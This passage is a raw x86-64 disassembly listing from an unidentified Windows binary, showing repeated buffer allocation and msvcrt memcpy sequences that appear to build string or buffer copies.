mov rcx, rsi
jmp 0x1d3b3fd87
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x12f0]
xor r8d, r8d
call fcn.1d3bc2380
mov qword [rsp + 0x12f0], rax
mov rcx, rax
mov rax, qword [rsp + 0xfc0]
mov qword [rsp + 0x1300], rax
mov rdx, qword [rsp + 0x70]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0xfc0]
mov rax, qword [rsp + 0x12f0]
jmp 0x1d3b3d9ce
mov rax, rsi
test rbx, rbx
je 0x1d3b3deca
mov rcx, rsi
jmp 0x1d3b3fded
lea rcx, [rsp + 0x1390]
lea rdx, [rsp + 0x390]
xor r8d, r8d
call fcn.1d3bc2380
mov qword [rsp + 0x1390], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x13a0], rax
mov rdx, qword [rsp + 0x48]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x390]
mov rax, qword [rsp + 0x1390]
jmp 0x1d3b3deca
lea rdi, [rsp + 0x7e0]
mov rax, rsi
mov qword [rsp + 0x48], rdi
test rbx, rbx
je 0x1d3b3ddd6
mov rcx, rsi
jmp 0x1d3b3fe68
lea rax, [rsp + 0x7e0]
lea rcx, [rsp + 0x1370]
xor r8d, r8d
mov rdx, rax
mov qword [rsp + 0x48], rax
call fcn.1d3bc2380
mov qword [rsp + 0x1370], rax
mov rcx, rax
mov rax, qword [rsp + 0x7e0]
mov qword [rsp + 0x1380], rax
mov rdx, qword [rsp + 0x40]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x7e0]
mov rax, qword [rsp + 0x1370]
jmp 0x1d3b3ddd6
mov rax, rsi
test rbx, rbx
je 0x1d3b3dcd9
mov rcx, rsi
jmp 0x1d3b3fecb
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x1350]
xor r8d, r8d
call fcn.1d3bc2380
mov qword [rsp + 0x1350], rax
mov rcx, rax
mov rax, qword [rsp + 0xb40]
mov qword [rsp + 0x1360], rax
mov rdx, qword [rsp + 0x68]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0xb40]
mov rax, qword [rsp + 0x1350]
jmp 0x1d3b3dcd9
lea rdi, [rsp + 0xb40]
mov rax, rsi
mov qword [rsp + 0x40], rdi
test rbx, rbx
je 0x1d3b3dbd8
mov rcx, rsi
jmp 0x1d3b3ff46
lea rax, [rsp + 0xb40]
lea rcx, [rsp + 0x1330]
xor r8d, r8d
mov rdx, rax
mov qword [rsp + 0x40], rax
call fcn.1d3bc2380
mov qword [rsp + 0x1330], rax
mov rcx, rax
mov rax, qword [rsp + 0xb40]
mov qword [rsp + 0x1340], rax
mov rdx, qword [rsp + 0x38]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0xb40]
mov rax, qword [rsp + 0x1330]
jmp 0x1d3b3dbd8
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, rbx
call fcn.1d3bc2380
mov qword [r15 + 0x80], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0x90], rax
mov r8, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x390]
mov rcx, qword [r15 + 0x80]
jmp 0x1d3b3e0a1
movzx eax, byte [r12]
mov byte [r15 + 0x90], al
jmp 0x1d3b3e0a1
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, rbx
call fcn.1d3bc2380
mov qword [r15 + 0x60], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0x70], rax
mov r8, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x390]
mov rcx, qword [r15 + 0x60]
jmp 0x1d3b3e03e
movzx eax, byte [r12]
mov byte [r15 + 0x70], al
jmp 0x1d3b3e03e
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, rbx
call fcn.1d3bc2380
mov qword [r15 + 0x40], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0x50], rax
mov r8, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x390]
mov rcx, qword [r15 + 0x40]
jmp 0x1d3b3dfe4
movzx eax, byte [r12]
mov byte [r15 + 0x50], al
jmp 0x1d3b3dfe4
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, rbx
call fcn.1d3bc2380
mov qword [r15 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0x30], rax
mov r8, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x390]
mov rcx, qword [r15 + 0x20]
jmp 0x1d3b3df8a
movzx eax, byte [r12]
mov byte [r15 + 0x30], al
jmp 0x1d3b3df8a
lea rdx, [rsp + 0x390]
xor r8d, r8d
mov rcx, r15
call fcn.1d3bc2380
mov qword [r15], rax
mov rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [r15 + 0x10], rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x390]
mov rcx, qword [r15]
jmp 0x1d3b3df30
movzx eax, byte [r12]
mov byte [r15 + 0x10], al
jmp 0x1d3b3df30
mov rcx, rsi
jmp 0x1d3b3fc04
mov rbx, r15
lea rcx, [0x1d3bdc990]
call fcn.1d3bd5fa0
mov rcx, qword [rsp + 0x28]
jmp 0x1d3b3f876